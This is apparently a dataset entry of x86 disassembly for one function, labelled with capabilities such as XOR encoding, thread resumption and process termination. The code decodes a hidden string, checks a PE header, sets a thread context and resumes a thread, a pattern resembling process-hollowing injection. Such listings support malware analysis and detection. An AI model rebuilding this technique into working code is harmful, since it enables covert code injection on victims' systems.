Function at 0x6895a6b4
Capabilities:
Encode data using xor
Get common file path
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea esi, [ebp - 0x818]
push ebx
sub esp, 0x98c
mov eax, dword [ebp + 8]
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp byte [0x68a0a234], 0
je 0x6895a739
mov dword [esp], esi
lea edi, [ebp - 0x934]
mov dword [esp + 4], 0x400
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push eax
push eax
lea eax, [ebp - 0x95c]
mov dword [ebp - 0x964], eax
mov dword [esp], esi
call sub.msvcrt.dll_wcslen
mov dword [esp], esi
lea ecx, [ebp - 0x964]
lea eax, [esi + eax*2]
mov esi, str.l_PFZEXM
mov dword [esp + 4], eax
call fcn.689eadc0
mov ecx, 0x31
push edx
push edx
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x934]
call sub.msvcrt.dll_rand
mov ecx, 0x30
jmp 0x6895a765
xor eax, eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
sub esp, 0xc
cmp byte [0x68a0a234], 0
je 0x6895a8d6
jmp 0x6895a6d7
mov eax, ecx
mov esi, 0x3b
xor edx, edx
div esi
xor byte [ebp + ecx - 0x964], dl
inc ecx
cmp ecx, 0x60
jne 0x6895a765
mov dword [esp], edi
lea ecx, [ebp - 0x94c]
call fcn.689ea3c0
push eax
mov eax, dword [ebp - 0x948]
lea edx, [ebp - 0x92c]
mov esi, dword [ebp - 0x94c]
mov dword [ebp - 0x934], edx
mov dword [ebp - 0x968], eax
lea edi, [esi + eax]
cmp eax, 7
jbe 0x6895a7d1
xor edx, edx
lea eax, [ebp - 0x968]
call fcn.689ed4b0
mov dword [ebp - 0x934], eax
mov eax, dword [ebp - 0x968]
mov dword [ebp - 0x92c], eax
mov eax, dword [ebp - 0x934]
mov dword [ebp - 0x96c], eax
cmp edi, esi
je 0x6895a7ef
movsx dx, byte [esi]
add eax, 2
inc esi
mov word [eax - 2], dx
jmp 0x6895a7dd
mov eax, dword [ebp - 0x968]
lea ecx, [ebp - 0x934]
mov dword [esp], eax
call fcn.689eb200
push eax
mov esi, dword [ebp - 0x960]
mov eax, 0x3fffffff
mov edx, dword [ebp - 0x930]
sub eax, esi
cmp eax, edx
jae 0x6895a827
mov dword [esp], 0x68a0b46d
call fcn.689fd270
lea ecx, [ebp - 0x964]
lea edi, [edx + esi]
mov dword [ebp - 0x970], edx
call fcn.6896d230
mov edx, dword [ebp - 0x970]
cmp eax, edi
jb 0x6895a869
test edx, edx
je 0x6895a88e
mov dword [esp + 8], edx
mov eax, dword [ebp - 0x96c]
add esi, esi
mov dword [esp + 4], eax
add esi, dword [ebp - 0x964]
mov dword [esp], esi
call fcn.689ec6b0
jmp 0x6895a88e
mov dword [esp + 0xc], edx
mov eax, dword [ebp - 0x96c]
lea ecx, [ebp - 0x964]
mov dword [esp], esi
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
call fcn.689ed520
sub esp, 0x10
mov dword [esp], edi
lea ecx, [ebp - 0x964]
call fcn.689eb200
lea ecx, [ebp - 0x934]
push edi
call fcn.689ea920
mov eax, dword [ebp - 0x964]
mov dword [esp + 4], eax
lea eax, [ebp - 0x818]
mov dword [esp], eax
call fcn.6895ab58
lea ecx, [ebp - 0x94c]
call fcn.689e6660
lea ecx, [ebp - 0x964]
call fcn.689ea920
xor eax, eax
lea edi, [ebp - 0x934]
mov ecx, 0x47
xor esi, esi
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x934]
mov dword [ebp - 0x934], 0x11c
mov dword [ebp - 0x930], 0xa
mov dword [esp], esi
mov dword [esp + 4], esi
mov esi, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov dword [esp + 0xc], 3
mov dword [esp + 8], 2
call esi
sub esp, 0x10
mov dword [esp + 0xc], 3
mov dword [esp + 8], 1
mov dword [esp], eax
mov dword [esp + 4], edx
call esi
sub esp, 0x10
mov dword [esp + 0xc], 3
mov dword [esp + 8], 0x20
mov dword [esp], eax
mov dword [esp + 4], edx
call esi
sub esp, 0x10
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 4], 0x23
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
sub esp, 0x10
test eax, eax
je 0x6895a984
cmp byte [0x68a0a234], 0
je 0x6895a992
cmp dword [ebx], 0x4550
jne 0x6895aac6
jmp 0x6895a9aa
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.6895a5b0
test eax, eax
jne 0x6895aa8f
jmp 0x6895aa7b
lea esi, [ebp - 0x94c]
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.6895a05c
lea eax, [ebp - 0x818]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.6895a4f0
test al, al
je 0x6895aac6
call fcn.6895a350
xor ecx, ecx
mov dword [eax], 0x10007
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [ebp - 0x96c], eax
mov dword [esp], esi
call fcn.68959f78
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.6895a380
mov edx, dword [ebp - 0x96c]
test eax, eax
mov edi, eax
jne 0x6895aa27
mov eax, dword [ebp - 0x948]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edx
jmp 0x6895aa7b
mov dword [ebp - 0x96c], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov eax, dword [ebp + 8]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.6895a3bc
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], ebx
mov eax, dword [ebp + 8]
mov dword [esp], esi
mov dword [esp + 8], eax
mov dword [esp + 4], eax
call fcn.6895a420
mov dword [esp + 0xc], edi
mov dword [esp + 8], ebx
mov edx, dword [ebp - 0x96c]
mov dword [esp], esi
mov dword [esp + 4], edx
call fcn.68959fd0
jmp 0x6895aac6
push eax
xor eax, eax
mov dword [0xc], eax
pop eax
xor eax, eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
jmp 0x6895aac6
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret